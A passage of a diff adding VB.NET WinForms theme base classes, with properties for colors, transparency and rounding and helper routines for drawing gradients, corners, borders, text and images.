= FormBorderStyle.None Then + Movable = False + Sizable = False + End If + End If + End Set + End Property + + Private _NoRounding As Boolean + Property NoRounding() As Boolean + Get + Return _NoRounding + End Get + Set(ByVal v As Boolean) + _NoRounding = v + Invalidate() + End Set + End Property + + Private _Image As Image + Property Image() As Image + Get + Return _Image + End Get + Set(ByVal value As Image) + If value Is Nothing Then _ImageSize = Size.Empty Else _ImageSize = value.Size + + _Image = value + Invalidate() + End Set + End Property + + Private Items As New Dictionary(Of String, Color) + Property Colors() As Bloom() + Get + Dim T As New List(Of Bloom) + Dim E As Dictionary(Of String, Color).Enumerator = Items.GetEnumerator + + While E.MoveNext + T.Add(New Bloom(E.Current.Key, E.Current.Value)) + End While + + Return T.ToArray + End Get + Set(ByVal value As Bloom()) + For Each B As Bloom In value + If Items.ContainsKey(B.Name) Then Items(B.Name) = B.Value + Next + + InvalidateCustimization() + ColorHook() + Invalidate() + End Set + End Property + + Private _Customization As String + Property Customization() As String + Get + Return _Customization + End Get + Set(ByVal value As String) + If value = _Customization Then Return + + Dim Data As Byte() + Dim Items As Bloom() = Colors + + Try + Data = Convert.FromBase64String(value) + For I As Integer = 0 To Items.Length - 1 + Items(I).Value = Color.FromArgb(BitConverter.ToInt32(Data, I * 4)) + Next + Catch + Return + End Try + + _Customization = value + + Colors = Items + ColorHook() + Invalidate() + End Set + End Property + + Private _Transparent As Boolean + Property Transparent() As Boolean + Get + Return _Transparent + End Get + Set(ByVal value As Boolean) + _Transparent = value + If Not (IsHandleCreated OrElse _ControlMode) Then Return + + If Not value AndAlso Not BackColor.A = 255 Then + Throw New Exception("Unable to change value to false while a transparent BackColor is in use.") + End If + + SetStyle(ControlStyles.Opaque, Not value) + SetStyle(ControlStyles.SupportsTransparentBackColor, value) + + InvalidateBitmap() + Invalidate() + End Set + End Property + +#End Region + +#Region " Private Properties " + + Private _ImageSize As Size + Protected ReadOnly Property ImageSize() As Size + Get + Return _ImageSize + End Get + End Property + + Private _IsParentForm As Boolean + Protected ReadOnly Property IsParentForm As Boolean + Get + Return _IsParentForm + End Get + End Property + + Protected ReadOnly Property IsParentMdi As Boolean + Get + If Parent Is Nothing Then Return False + Return Parent.Parent IsNot Nothing + End Get + End Property + + Private _LockWidth As Integer + Protected Property LockWidth() As Integer + Get + Return _LockWidth + End Get + Set(ByVal value As Integer) + _LockWidth = value + If Not LockWidth = 0 AndAlso IsHandleCreated Then Width = LockWidth + End Set + End Property + + Private _LockHeight As Integer + Protected Property LockHeight() As Integer + Get + Return _LockHeight + End Get + Set(ByVal value As Integer) + _LockHeight = value + If Not LockHeight = 0 AndAlso IsHandleCreated Then Height = LockHeight + End Set + End Property + + Private _Header As Integer = 24 + Protected Property Header() As Integer + Get + Return _Header + End Get + Set(ByVal v As Integer) + _Header = v + + If Not _ControlMode Then + Frame = New Rectangle(7, 7, Width - 14, v - 7) + Invalidate() + End If + End Set + End Property + + Private _ControlMode As Boolean + Protected Property ControlMode() As Boolean + Get + Return _ControlMode + End Get + Set(ByVal v As Boolean) + _ControlMode = v + + Transparent = _Transparent + If _Transparent AndAlso _BackColor Then BackColor = Color.Transparent + + InvalidateBitmap() + Invalidate() + End Set + End Property + +#End Region + + +#Region " Property Helpers " + + Protected Function GetPen(ByVal name As String) As Pen + Return New Pen(Items(name)) + End Function + Protected Function GetPen(ByVal name As String, ByVal width As Single) As Pen + Return New Pen(Items(name), width) + End Function + + Protected Function GetBrush(ByVal name As String) As SolidBrush + Return New SolidBrush(Items(name)) + End Function + + Protected Function GetColor(ByVal name As String) As Color + Return Items(name) + End Function + + Protected Sub SetColor(ByVal name As String, ByVal value As Color) + If Items.ContainsKey(name) Then Items(name) = value Else Items.Add(name, value) + End Sub + Protected Sub SetColor(ByVal name As String, ByVal r As Byte, ByVal g As Byte, ByVal b As Byte) + SetColor(name, Color.FromArgb(r, g, b)) + End Sub + Protected Sub SetColor(ByVal name As String, ByVal a As Byte, ByVal r As Byte, ByVal g As Byte, ByVal b As Byte) + SetColor(name, Color.FromArgb(a, r, g, b)) + End Sub + Protected Sub SetColor(ByVal name As String, ByVal a As Byte, ByVal value As Color) + SetColor(name, Color.FromArgb(a, value)) + End Sub + + Private Sub InvalidateBitmap() + If _Transparent AndAlso _ControlMode Then + If Width = 0 OrElse Height = 0 Then Return + B = New Bitmap(Width, Height, PixelFormat.Format32bppPArgb) + G = Graphics.FromImage(B) + Else + G = Nothing + B = Nothing + End If + End Sub + + Private Sub InvalidateCustimization() + Dim M As New MemoryStream(Items.Count * 4) + + For Each B As Bloom In Colors + M.Write(BitConverter.GetBytes(B.Value.ToArgb), 0, 4) + Next + + M.Close() + _Customization = Convert.ToBase64String(M.ToArray) + End Sub + +#End Region + + +#Region " User Hooks " + + Protected MustOverride Sub ColorHook() + Protected MustOverride Sub PaintHook() + + Protected Overridable Sub OnCreation() + End Sub + +#End Region + + +#Region " Offset " + + Private OffsetReturnRectangle As Rectangle + Protected Function Offset(ByVal r As Rectangle, ByVal amount As Integer) As Rectangle + OffsetReturnRectangle = New Rectangle(r.X + amount, r.Y + amount, r.Width - (amount * 2), r.Height - (amount * 2)) + Return OffsetReturnRectangle + End Function + + Private OffsetReturnSize As Size + Protected Function Offset(ByVal s As Size, ByVal amount As Integer) As Size + OffsetReturnSize = New Size(s.Width + amount, s.Height + amount) + Return OffsetReturnSize + End Function + + Private OffsetReturnPoint As Point + Protected Function Offset(ByVal p As Point, ByVal amount As Integer) As Point + OffsetReturnPoint = New Point(p.X + amount, p.Y + amount) + Return OffsetReturnPoint + End Function + +#End Region + +#Region " Center " + + Private CenterReturn As Point + + Protected Function Center(ByVal p As Rectangle, ByVal c As Rectangle) As Point + CenterReturn = New Point((p.Width \ 2 - c.Width \ 2) + p.X + c.X, (p.Height \ 2 - c.Height \ 2) + p.Y + c.Y) + Return CenterReturn + End Function + Protected Function Center(ByVal p As Rectangle, ByVal c As Size) As Point + CenterReturn = New Point((p.Width \ 2 - c.Width \ 2) + p.X, (p.Height \ 2 - c.Height \ 2) + p.Y) + Return CenterReturn + End Function + + Protected Function Center(ByVal child As Rectangle) As Point + Return Center(Width, Height, child.Width, child.Height) + End Function + Protected Function Center(ByVal child As Size) As Point + Return Center(Width, Height, child.Width, child.Height) + End Function + Protected Function Center(ByVal childWidth As Integer, ByVal childHeight As Integer) As Point + Return Center(Width, Height, childWidth, childHeight) + End Function + + Protected Function Center(ByVal p As Size, ByVal c As Size) As Point + Return Center(p.Width, p.Height, c.Width, c.Height) + End Function + + Protected Function Center(ByVal pWidth As Integer, ByVal pHeight As Integer, ByVal cWidth As Integer, ByVal cHeight As Integer) As Point + CenterReturn = New Point(pWidth \ 2 - cWidth \ 2, pHeight \ 2 - cHeight \ 2) + Return CenterReturn + End Function + +#End Region + +#Region " Measure " + + Private MeasureBitmap As Bitmap + Private MeasureGraphics As Graphics 'TODO: Potential issues during multi-threading. + + Protected Function Measure() As Size + Return MeasureGraphics.MeasureString(Text, Font, Width).ToSize + End Function + Protected Function Measure(ByVal text As String) As Size + Return MeasureGraphics.MeasureString(text, Font, Width).ToSize + End Function + +#End Region + + +#Region " DrawPixel " + + Private DrawPixelBrush As SolidBrush + + Protected Sub DrawPixel(ByVal c1 As Color, ByVal x As Integer, ByVal y As Integer) + If _Transparent Then + B.SetPixel(x, y, c1) + Else + DrawPixelBrush = New SolidBrush(c1) + G.FillRectangle(DrawPixelBrush, x, y, 1, 1) + End If + End Sub + +#End Region + +#Region " DrawCorners " + + Private DrawCornersBrush As SolidBrush + + Protected Sub DrawCorners(ByVal c1 As Color, ByVal offset As Integer) + DrawCorners(c1, 0, 0, Width, Height, offset) + End Sub + Protected Sub DrawCorners(ByVal c1 As Color, ByVal r1 As Rectangle, ByVal offset As Integer) + DrawCorners(c1, r1.X, r1.Y, r1.Width, r1.Height, offset) + End Sub + Protected Sub DrawCorners(ByVal c1 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal offset As Integer) + DrawCorners(c1, x + offset, y + offset, width - (offset * 2), height - (offset * 2)) + End Sub + + Protected Sub DrawCorners(ByVal c1 As Color) + DrawCorners(c1, 0, 0, Width, Height) + End Sub + Protected Sub DrawCorners(ByVal c1 As Color, ByVal r1 As Rectangle) + DrawCorners(c1, r1.X, r1.Y, r1.Width, r1.Height) + End Sub + Protected Sub DrawCorners(ByVal c1 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + If _NoRounding Then Return + + If _Transparent Then + B.SetPixel(x, y, c1) + B.SetPixel(x + (width - 1), y, c1) + B.SetPixel(x, y + (height - 1), c1) + B.SetPixel(x + (width - 1), y + (height - 1), c1) + Else + DrawCornersBrush = New SolidBrush(c1) + G.FillRectangle(DrawCornersBrush, x, y, 1, 1) + G.FillRectangle(DrawCornersBrush, x + (width - 1), y, 1, 1) + G.FillRectangle(DrawCornersBrush, x, y + (height - 1), 1, 1) + G.FillRectangle(DrawCornersBrush, x + (width - 1), y + (height - 1), 1, 1) + End If + End Sub + +#End Region + +#Region " DrawBorders " + + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal offset As Integer) + DrawBorders(p1, 0, 0, Width, Height, offset) + End Sub + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal r As Rectangle, ByVal offset As Integer) + DrawBorders(p1, r.X, r.Y, r.Width, r.Height, offset) + End Sub + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal offset As Integer) + DrawBorders(p1, x + offset, y + offset, width - (offset * 2), height - (offset * 2)) + End Sub + + Protected Sub DrawBorders(ByVal p1 As Pen) + DrawBorders(p1, 0, 0, Width, Height) + End Sub + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal r As Rectangle) + DrawBorders(p1, r.X, r.Y, r.Width, r.Height) + End Sub + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + G.DrawRectangle(p1, x, y, width - 1, height - 1) + End Sub + +#End Region + +#Region " DrawText " + + Private DrawTextPoint As Point + Private DrawTextSize As Size + + Protected Sub DrawText(ByVal b1 As Brush, ByVal a As HorizontalAlignment, ByVal x As Integer, ByVal y As Integer) + DrawText(b1, Text, a, x, y) + End Sub + Protected Sub DrawText(ByVal b1 As Brush, ByVal text As String, ByVal a As HorizontalAlignment, ByVal x As Integer, ByVal y As Integer) + If text.Length = 0 Then Return + + DrawTextSize = Measure(text) + DrawTextPoint = New Point(Width \ 2 - DrawTextSize.Width \ 2, Header \ 2 - DrawTextSize.Height \ 2) + + Select Case a + Case HorizontalAlignment.Left + G.DrawString(text, Font, b1, x, DrawTextPoint.Y + y) + Case HorizontalAlignment.Center + G.DrawString(text, Font, b1, DrawTextPoint.X + x, DrawTextPoint.Y + y) + Case HorizontalAlignment.Right + G.DrawString(text, Font, b1, Width - DrawTextSize.Width - x, DrawTextPoint.Y + y) + End Select + End Sub + + Protected Sub DrawText(ByVal b1 As Brush, ByVal p1 As Point) + If Text.Length = 0 Then Return + G.DrawString(Text, Font, b1, p1) + End Sub + Protected Sub DrawText(ByVal b1 As Brush, ByVal x As Integer, ByVal y As Integer) + If Text.Length = 0 Then Return + G.DrawString(Text, Font, b1, x, y) + End Sub + +#End Region + +#Region " DrawImage " + + Private DrawImagePoint As Point + + Protected Sub DrawImage(ByVal a As HorizontalAlignment, ByVal x As Integer, ByVal y As Integer) + DrawImage(_Image, a, x, y) + End Sub + Protected Sub DrawImage(ByVal image As Image, ByVal a As HorizontalAlignment, ByVal x As Integer, ByVal y As Integer) + If image Is Nothing Then Return + DrawImagePoint = New Point(Width \ 2 - image.Width \ 2, Header \ 2 - image.Height \ 2) + + Select Case a + Case HorizontalAlignment.Left + G.DrawImage(image, x, DrawImagePoint.Y + y, image.Width, image.Height) + Case HorizontalAlignment.Center + G.DrawImage(image, DrawImagePoint.X + x, DrawImagePoint.Y + y, image.Width, image.Height) + Case HorizontalAlignment.Right + G.DrawImage(image, Width - image.Width - x, DrawImagePoint.Y + y, image.Width, image.Height) + End Select + End Sub + + Protected Sub DrawImage(ByVal p1 As Point) + DrawImage(_Image, p1.X, p1.Y) + End Sub + Protected Sub DrawImage(ByVal x As Integer, ByVal y As Integer) + DrawImage(_Image, x, y) + End Sub + + Protected Sub DrawImage(ByVal image As Image, ByVal p1 As Point) + DrawImage(image, p1.X, p1.Y) + End Sub + Protected Sub DrawImage(ByVal image As Image, ByVal x As Integer, ByVal y As Integer) + If image Is Nothing Then Return + G.DrawImage(image, x, y, image.Width, image.Height) + End Sub + +#End Region + +#Region " DrawGradient " + + Private DrawGradientBrush As LinearGradientBrush + Private DrawGradientRectangle As Rectangle + + Protected Sub DrawGradient(ByVal blend As ColorBlend, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + DrawGradientRectangle = New Rectangle(x, y, width, height) + DrawGradient(blend, DrawGradientRectangle) + End Sub + Protected Sub DrawGradient(ByVal blend As ColorBlend, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal angle As Single) + DrawGradientRectangle = New Rectangle(x, y, width, height) + DrawGradient(blend, DrawGradientRectangle, angle) + End Sub + + Protected Sub DrawGradient(ByVal blend As ColorBlend, ByVal r As Rectangle) + DrawGradientBrush = New LinearGradientBrush(r, Color.Empty, Color.Empty, 90.0F) + DrawGradientBrush.InterpolationColors = blend + G.FillRectangle(DrawGradientBrush, r) + End Sub + Protected Sub DrawGradient(ByVal blend As ColorBlend, ByVal r As Rectangle, ByVal angle As Single) + DrawGradientBrush = New LinearGradientBrush(r, Color.Empty, Color.Empty, angle) + DrawGradientBrush.InterpolationColors = blend + G.FillRectangle(DrawGradientBrush, r) + End Sub + + + Protected Sub DrawGradient(ByVal c1 As Color, ByVal c2 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + DrawGradientRectangle = New Rectangle(x, y, width, height) + DrawGradient(c1, c2, DrawGradientRectangle) + End Sub + Protected Sub DrawGradient(ByVal c1 As Color, ByVal c2 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal angle As Single) + DrawGradientRectangle = New Rectangle(x, y, width, height) + DrawGradient(c1, c2, DrawGradientRectangle, angle) + End Sub + + Protected Sub DrawGradient(ByVal c1 As Color, ByVal c2 As Color, ByVal r As Rectangle) + DrawGradientBrush = New LinearGradientBrush(r, c1, c2, 90.0F) + G.FillRectangle(DrawGradientBrush, r) + End Sub + Protected Sub DrawGradient(ByVal c1 As Color, ByVal c2 As Color, ByVal r As Rectangle, ByVal angle As Single) + DrawGradientBrush = New LinearGradientBrush(r, c1, c2, angle) + G.FillRectangle(DrawGradientBrush, r) + End Sub + +#End Region + +#Region " DrawRadial " + + Private DrawRadialPath As GraphicsPath + Private DrawRadialBrush1 As PathGradientBrush + Private DrawRadialBrush2 As LinearGradientBrush + Private DrawRadialRectangle As Rectangle + + Sub DrawRadial(ByVal blend As ColorBlend, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + DrawRadialRectangle = New Rectangle(x, y, width, height) + DrawRadial(blend, DrawRadialRectangle, width \ 2, height \ 2) + End Sub + Sub DrawRadial(ByVal blend As ColorBlend, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal center As Point) + DrawRadialRectangle = New Rectangle(x, y, width, height) + DrawRadial(blend, DrawRadialRectangle, center.X, center.Y) + End Sub + Sub DrawRadial(ByVal blend As ColorBlend, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal cx As Integer, ByVal cy As Integer) + DrawRadialRectangle = New Rectangle(x, y, width, height) + DrawRadial(blend, DrawRadialRectangle, cx, cy) + End Sub + + Sub DrawRadial(ByVal blend As ColorBlend, ByVal r As Rectangle) + DrawRadial(blend, r, r.Width \ 2, r.Height \ 2) + End Sub + Sub DrawRadial(ByVal blend As ColorBlend, ByVal r As Rectangle, ByVal center As Point) + DrawRadial(blend, r, center.X, center.Y) + End Sub + Sub DrawRadial(ByVal blend As ColorBlend, ByVal r As Rectangle, ByVal cx As Integer, ByVal cy As Integer) + DrawRadialPath.Reset() + DrawRadialPath.AddEllipse(r.X, r.Y, r.Width - 1, r.Height - 1) + + DrawRadialBrush1 = New PathGradientBrush(DrawRadialPath) + DrawRadialBrush1.CenterPoint = New Point(r.X + cx, r.Y + cy) + DrawRadialBrush1.InterpolationColors = blend + + If G.SmoothingMode = SmoothingMode.AntiAlias Then + G.FillEllipse(DrawRadialBrush1, r.X + 1, r.Y + 1, r.Width - 3, r.Height - 3) + Else + G.FillEllipse(DrawRadialBrush1, r) + End If + End Sub + + + Protected Sub DrawRadial(ByVal c1 As Color, ByVal c2 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + DrawRadialRectangle = New Rectangle(x, y, width, height) + DrawRadial(c1, c2, DrawGradientRectangle) + End Sub + Protected Sub DrawRadial(ByVal c1 As Color, ByVal c2 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal angle As Single) + DrawRadialRectangle = New Rectangle(x, y, width, height) + DrawRadial(c1, c2, DrawGradientRectangle, angle) + End Sub + + Protected Sub DrawRadial(ByVal c1 As Color, ByVal c2 As Color, ByVal r As Rectangle) + DrawRadialBrush2 = New LinearGradientBrush(r, c1, c2, 90.0F) + G.FillRectangle(DrawGradientBrush, r) + End Sub + Protected Sub DrawRadial(ByVal c1 As Color, ByVal c2 As Color, ByVal r As Rectangle, ByVal angle As Single) + DrawRadialBrush2 = New LinearGradientBrush(r, c1, c2, angle) + G.FillEllipse(DrawGradientBrush, r) + End Sub + +#End Region + +End Class + +MustInherit Class ThemeControl153 + Inherits Control + + +#Region " Initialization " + + Protected G As Graphics, B As Bitmap + + Sub New() + SetStyle(DirectCast(139270, ControlStyles), True) + + _ImageSize = Size.Empty + Font = New Font("Verdana", 8S) + + MeasureBitmap = New Bitmap(1, 1) + MeasureGraphics = Graphics.FromImage(MeasureBitmap) + + DrawRadialPath = New GraphicsPath + + InvalidateCustimization() 'Remove? + End Sub + + Protected NotOverridable Overrides Sub OnHandleCreated(ByVal e As EventArgs) + InvalidateCustimization() + ColorHook() + + If Not _LockWidth = 0 Then Width = _LockWidth + If Not _LockHeight = 0 Then Height = _LockHeight + + Transparent = _Transparent + If _Transparent AndAlso _BackColor Then BackColor = Color.Transparent + + MyBase.OnHandleCreated(e) + End Sub + + Protected NotOverridable Overrides Sub OnParentChanged(ByVal e As EventArgs) + If Parent IsNot Nothing Then OnCreation() + MyBase.OnParentChanged(e) + End Sub + +#End Region + + + Protected NotOverridable Overrides Sub OnPaint(ByVal e As PaintEventArgs) + If Width = 0 OrElse Height = 0 Then Return + + If _Transparent Then + PaintHook() + e.Graphics.DrawImage(B, 0, 0) + Else + G = e.Graphics + PaintHook() + End If + End Sub + + +#Region " Size Handling " + + Protected NotOverridable Overrides Sub OnSizeChanged(ByVal e As EventArgs) + If _Transparent Then + InvalidateBitmap() + End If + + Invalidate() + MyBase.OnSizeChanged(e) + End Sub + + Protected Overrides Sub SetBoundsCore(ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal specified As BoundsSpecified) + If Not _LockWidth = 0 Then width = _LockWidth + If Not _LockHeight = 0 Then height = _LockHeight + MyBase.SetBoundsCore(x, y, width, height, specified) + End Sub + +#End Region + +#Region " State Handling " + + Private InPosition As Boolean + Protected Overrides Sub OnMouseEnter(ByVal e As EventArgs) + InPosition = True + SetState(MouseState.Over) + MyBase.OnMouseEnter(e) + End Sub + + Protected Overrides Sub OnMouseUp(ByVal e As MouseEventArgs) + If InPosition Then SetState(MouseState.Over) + MyBase.OnMouseUp(e) + End Sub + + Protected Overrides Sub OnMouseDown(ByVal e As MouseEventArgs) + If e.Button = Windows.Forms.MouseButtons.Left Then SetState(MouseState.Down) + MyBase.OnMouseDown(e) + End Sub + + Protected Overrides Sub OnMouseLeave(ByVal e As EventArgs) + InPosition = False + SetState(MouseState.None) + MyBase.OnMouseLeave(e) + End Sub + + Protected Overrides Sub OnEnabledChanged(ByVal e As EventArgs) + If Enabled Then SetState(MouseState.None) Else SetState(MouseState.Block) + MyBase.OnEnabledChanged(e) + End Sub + + Protected State As MouseState + Private Sub SetState(ByVal current As MouseState) + State = current + Invalidate() + End Sub + +#End Region + + +#Region " Base Properties " + + _ + Overrides Property ForeColor() As Color + Get + Return Color.Empty + End Get + Set(ByVal value As Color) + End Set + End Property + _ + Overrides Property BackgroundImage() As Image + Get + Return Nothing + End Get + Set(ByVal value As Image) + End Set + End Property + _ + Overrides Property BackgroundImageLayout() As ImageLayout + Get + Return ImageLayout.None + End Get + Set(ByVal value As ImageLayout) + End Set + End Property + + Overrides Property Text() As String + Get + Return MyBase.Text + End Get + Set(ByVal value As String) + MyBase.Text = value + Invalidate() + End Set + End Property + Overrides Property Font() As Font + Get + Return MyBase.Font + End Get + Set(ByVal value As Font) + MyBase.Font = value + Invalidate() + End Set + End Property + + Private _BackColor As Boolean + _ + Overrides Property BackColor() As Color + Get + Return MyBase.BackColor + End Get + Set(ByVal value As Color) + If Not IsHandleCreated AndAlso value = Color.Transparent Then + _BackColor = True + Return + End If + MyBase.BackColor = value + If Parent IsNot Nothing Then ColorHook() + End Set + End Property + +#End Region + +#Region " Public Properties " + + Private _NoRounding As Boolean + Property NoRounding() As Boolean + Get + Return _NoRounding + End Get + Set(ByVal v As Boolean) + _NoRounding = v + Invalidate() + End Set + End Property + + Private _Image As Image + Property Image() As Image + Get + Return _Image + End Get + Set(ByVal value As Image) + If value Is Nothing Then + _ImageSize = Size.Empty + Else + _ImageSize = value.Size + End If + + _Image = value + Invalidate() + End Set + End Property + + Private _Transparent As Boolean + Property Transparent() As Boolean + Get + Return _Transparent + End Get + Set(ByVal value As Boolean) + _Transparent = value + If Not IsHandleCreated Then Return + + If Not value AndAlso Not BackColor.A = 255 Then + Throw New Exception("Unable to change value to false while a transparent BackColor is in use.") + End If + + SetStyle(ControlStyles.Opaque, Not value) + SetStyle(ControlStyles.SupportsTransparentBackColor, value) + + If value Then InvalidateBitmap() Else B = Nothing + Invalidate() + End Set + End Property + + Private Items As New Dictionary(Of String, Color) + Property Colors() As Bloom() + Get + Dim T As New List(Of Bloom) + Dim E As Dictionary(Of String, Color).Enumerator = Items.GetEnumerator + + While E.MoveNext + T.Add(New Bloom(E.Current.Key, E.Current.Value)) + End While + + Return T.ToArray + End Get + Set(ByVal value As Bloom()) + For Each B As Bloom In value + If Items.ContainsKey(B.Name) Then Items(B.Name) = B.Value + Next + + InvalidateCustimization() + ColorHook() + Invalidate() + End Set + End Property + + Private _Customization As String + Property Customization() As String + Get + Return _Customization + End Get + Set(ByVal value As String) + If value = _Customization Then Return + + Dim Data As Byte() + Dim Items As Bloom() = Colors + + Try + Data = Convert.FromBase64String(value) + For I As Integer = 0 To Items.Length - 1 + Items(I).Value = Color.FromArgb(BitConverter.ToInt32(Data, I * 4)) + Next + Catch + Return + End Try + + _Customization = value + + Colors = Items + ColorHook() + Invalidate() + End Set + End Property + +#End Region + +#Region " Private Properties " + + Private _ImageSize As Size + Protected ReadOnly Property ImageSize() As Size + Get + Return _ImageSize + End Get + End Property + + Private _LockWidth As Integer + Protected Property LockWidth() As Integer + Get + Return _LockWidth + End Get + Set(ByVal value As Integer) + _LockWidth = value + If Not LockWidth = 0 AndAlso IsHandleCreated Then Width = LockWidth + End Set + End Property + + Private _LockHeight As Integer + Protected Property LockHeight() As Integer + Get + Return _LockHeight + End Get + Set(ByVal value As Integer) + _LockHeight = value + If Not LockHeight = 0 AndAlso IsHandleCreated Then Height = LockHeight + End Set + End Property + +#End Region + + +#Region " Property Helpers " + + Protected Function GetPen(ByVal name As String) As Pen + Return New Pen(Items(name)) + End Function + Protected Function GetPen(ByVal name As String, ByVal width As Single) As Pen + Return New Pen(Items(name), width) + End Function + + Protected Function GetBrush(ByVal name As String) As SolidBrush + Return New SolidBrush(Items(name)) + End Function + + Protected Function GetColor(ByVal name As String) As Color + Return Items(name) + End Function + + Protected Sub SetColor(ByVal name As String, ByVal value As Color) + If Items.ContainsKey(name) Then Items(name) = value Else Items.Add(name, value) + End Sub + Protected Sub SetColor(ByVal name As String, ByVal r As Byte, ByVal g As Byte, ByVal b As Byte) + SetColor(name, Color.FromArgb(r, g, b)) + End Sub + Protected Sub SetColor(ByVal name As String, ByVal a As Byte, ByVal r As Byte, ByVal g As Byte, ByVal b As Byte) + SetColor(name, Color.FromArgb(a, r, g, b)) + End Sub + Protected Sub SetColor(ByVal name As String, ByVal a As Byte, ByVal value As Color) + SetColor(name, Color.FromArgb(a, value)) + End Sub + + Private Sub InvalidateBitmap() + If Width = 0 OrElse Height = 0 Then Return + B = New Bitmap(Width, Height, PixelFormat.Format32bppPArgb) + G = Graphics.FromImage(B) + End Sub + + Private Sub InvalidateCustimization() + Dim M As New MemoryStream(Items.Count * 4) + + For Each B As Bloom In Colors + M.Write(BitConverter.GetBytes(B.Value.ToArgb), 0, 4) + Next + + M.Close() + _Customization = Convert.ToBase64String(M.ToArray) + End Sub + +#End Region + + +#Region " User Hooks " + + Protected MustOverride Sub ColorHook() + Protected MustOverride Sub PaintHook() + + Protected Overridable Sub OnCreation() + End Sub + +#End Region + + +#Region " Offset " + + Private OffsetReturnRectangle As Rectangle + Protected Function Offset(ByVal r As Rectangle, ByVal amount As Integer) As Rectangle + OffsetReturnRectangle = New Rectangle(r.X + amount, r.Y + amount, r.Width - (amount * 2), r.Height - (amount * 2)) + Return OffsetReturnRectangle + End Function + + Private OffsetReturnSize As Size + Protected Function Offset(ByVal s As Size, ByVal amount As Integer) As Size + OffsetReturnSize = New Size(s.Width + amount, s.Height + amount) + Return OffsetReturnSize + End Function + + Private OffsetReturnPoint As Point + Protected Function Offset(ByVal p As Point, ByVal amount As Integer) As Point + OffsetReturnPoint = New Point(p.X + amount, p.Y + amount) + Return OffsetReturnPoint + End Function + +#End Region + +#Region " Center " + + Private CenterReturn As Point + + Protected Function Center(ByVal p As Rectangle, ByVal c As Rectangle) As Point + CenterReturn = New Point((p.Width \ 2 - c.Width \ 2) + p.X + c.X, (p.Height \ 2 - c.Height \ 2) + p.Y + c.Y) + Return CenterReturn + End Function + Protected Function Center(ByVal p As Rectangle, ByVal c As Size) As Point + CenterReturn = New Point((p.Width \ 2 - c.Width \ 2) + p.X, (p.Height \ 2 - c.Height \ 2) + p.Y) + Return CenterReturn + End Function + + Protected Function Center(ByVal child As Rectangle) As Point + Return Center(Width, Height, child.Width, child.Height) + End Function + Protected Function Center(ByVal child As Size) As Point + Return Center(Width, Height, child.Width, child.Height) + End Function + Protected Function Center(ByVal childWidth As Integer, ByVal childHeight As Integer) As Point + Return Center(Width, Height, childWidth, childHeight) + End Function + + Protected Function Center(ByVal p As Size, ByVal c As Size) As Point + Return Center(p.Width, p.Height, c.Width, c.Height) + End Function + + Protected Function Center(ByVal pWidth As Integer, ByVal pHeight As Integer, ByVal cWidth As Integer, ByVal cHeight As Integer) As Point + CenterReturn = New Point(pWidth \ 2 - cWidth \ 2, pHeight \ 2 - cHeight \ 2) + Return CenterReturn + End Function + +#End Region + +#Region " Measure " + + Private MeasureBitmap As Bitmap + Private MeasureGraphics As Graphics 'TODO: Potential issues during multi-threading. + + Protected Function Measure() As Size + Return MeasureGraphics.MeasureString(Text, Font, Width).ToSize + End Function + Protected Function Measure(ByVal text As String) As Size + Return MeasureGraphics.MeasureString(text, Font, Width).ToSize + End Function + +#End Region + + +#Region " DrawPixel " + + Private DrawPixelBrush As SolidBrush + + Protected Sub DrawPixel(ByVal c1 As Color, ByVal x As Integer, ByVal y As Integer) + If _Transparent Then + B.SetPixel(x, y, c1) + Else + DrawPixelBrush = New SolidBrush(c1) + G.FillRectangle(DrawPixelBrush, x, y, 1, 1) + End If + End Sub + +#End Region + +#Region " DrawCorners " + + Private DrawCornersBrush As SolidBrush + + Protected Sub DrawCorners(ByVal c1 As Color, ByVal offset As Integer) + DrawCorners(c1, 0, 0, Width, Height, offset) + End Sub + Protected Sub DrawCorners(ByVal c1 As Color, ByVal r1 As Rectangle, ByVal offset As Integer) + DrawCorners(c1, r1.X, r1.Y, r1.Width, r1.Height, offset) + End Sub + Protected Sub DrawCorners(ByVal c1 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal offset As Integer) + DrawCorners(c1, x + offset, y + offset, width - (offset * 2), height - (offset * 2)) + End Sub + + Protected Sub DrawCorners(ByVal c1 As Color) + DrawCorners(c1, 0, 0, Width, Height) + End Sub + Protected Sub DrawCorners(ByVal c1 As Color, ByVal r1 As Rectangle) + DrawCorners(c1, r1.X, r1.Y, r1.Width, r1.Height) + End Sub + Protected Sub DrawCorners(ByVal c1 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + If _NoRounding Then Return + + If _Transparent Then + B.SetPixel(x, y, c1) + B.SetPixel(x + (width - 1), y, c1) + B.SetPixel(x, y + (height - 1), c1) + B.SetPixel(x + (width - 1), y + (height - 1), c1) + Else + DrawCornersBrush = New SolidBrush(c1) + G.FillRectangle(DrawCornersBrush, x, y, 1, 1) + G.FillRectangle(DrawCornersBrush, x + (width - 1), y, 1, 1) + G.FillRectangle(DrawCornersBrush, x, y + (height - 1), 1, 1) + G.FillRectangle(DrawCornersBrush, x + (width - 1), y + (height - 1), 1, 1) + End If + End Sub + +#End Region + +#Region " DrawBorders " + + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal offset As Integer) + 